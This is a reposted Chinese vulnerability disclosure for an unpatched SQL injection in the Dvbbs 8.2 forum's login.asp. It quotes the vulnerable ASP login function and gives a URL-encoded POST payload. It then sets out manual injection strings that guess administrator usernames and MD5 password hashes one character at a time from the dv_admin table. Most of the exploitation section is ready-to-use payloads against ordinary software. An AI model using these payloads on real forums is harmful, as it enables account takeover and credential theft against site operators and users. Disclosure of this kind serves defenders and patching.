Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞 's

admin 2017年5月8日22:13:18评论534 views字数 3922阅读13分4秒阅读模式
摘要

鬼仔注:这次来个详细的。by where([email protected])漏洞描述:
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。

鬼仔注:这次来个详细的。

by where([email protected])

漏洞描述:
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。

漏洞等级:
高危

漏洞分析:
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

编辑说明下 刚有人问语句 具体就是
If ajaxPro Then username = unescape(username)
这个没有过滤
Login.asp 登陆

 ----------------------------------------------------------------------------------------------------------------- Rem ==========论坛登录函数========= Rem 判断用户登录 Function ChkUserLogin(username,password,mobile,usercookies,ctype) Dim rsUser,article,userclass,titlepic Dim userhidden,lastip,UserLastLogin Dim GroupID,ClassSql,FoundGrade Dim regname,iMyUserInfo Dim sql,sqlstr,OLDuserhidden FoundGrade=False lastip=Dvbbs.UserTrueIP userhidden=request.form("userhidden") If userhidden <> "1" Then userhidden=2 ChkUserLogin=false If mobile<>"" Then sqlstr=" Passport='"&mobile&"'" Else sqlstr=" UserName='"&username&"'" End If Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid" Sql=Sql & " From [Dv_User] Where "&sqlstr&"" set rsUser=Dvbbs.Execute(sql) If rsUser.eof and rsUser.bof Then 'strString("本论坛不存在该用户名.@@@@0") ChkUserLogin=False Exit Function Else If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then ChkUserLogin=False Exit Function Else If Trim(password)=Trim(rsUser("UserPassword")) Then ChkUserLogin=True Dvbbs.UserID=RsUser("UserID") RegName = RsUser("UserName") Article= RsUser("UserPost") UserLastLogin = RsUser("cometime") UserClass = RsUser("Userclass") GroupID = RsUser("userGroupID") OLDuserhidden=RsUser("UserHidden") TitlePic = RsUser("UserTitle") If Article < 0 Then Article=0 Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml") Dvbbs.UserSession.documentElement.selectSingleNode("[email protected]").text=Now() Dvbbs.UserSession.documentElement.selectSingleNode("[email protected]").text=DateAdd("s",-3600,Now()) Dvbbs.UserSession.documentElement.selectSingleNode("[email protected]").text=0 Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All() If OLDuserhidden <> CLng(userhidden) Then Dvbbs.UserSession.documentElement.selectSingleNode("[email protected]").text=userhidden Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID) End If Dim BS Set Bs=Dvbbs.GetBrowser() Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement) If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml Else If ajaxPro Then strString("用户名或者密码不正确.@@@@0") End If ChkUserLogin=False Exit Function End If End If End If ----------------------------------------------------------------------------------------------------------------- 

漏洞利用:(access版)
由于使用验证码,该漏洞只能纯手工进行注入尝试,在用户登陆页面,用户名处构造sql语句
如:

判断
Where’ and ‘1’=’1
Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞  's
where’ and ‘1’=’2
密码任意6位,输入验证码
根据返回信息,第一条显示用户名或密码错误第二条显示无此用户

猜解用户
where’ and 1=(select count(*) from dv_admin where left(username,1)=’a’) and ‘1’=’1
where’ and 1=(select count(*) from dv_admin where left(username,2)=’ad’) and ‘1’=’1
……………………….
……………………
…………………….

猜解密码(md5加密)
where’ and 1=(select count(*) from dv_admin where left(password,1)=’1′) and ‘1’=’1
where’ and 1=(select count(*) from dv_admin where left(password,2)=’15’) and ‘1’=’1
……………………
……………………
…………………..

简单测试官方sql版也存在漏洞,利用过程不写了
Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞  's

相关信息:
Dvbbs官方 http://www.dvbbs.net

漏洞分析及测试
由where首发
联系mail: [email protected]

补丁:
目前官方没有任何补丁,请等待升级补丁
Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞  's
Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞  's
Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞  's

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月8日22:13:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞 'shttp://cn-sec.com/archives/47880.html

发表评论

匿名网友 填写信息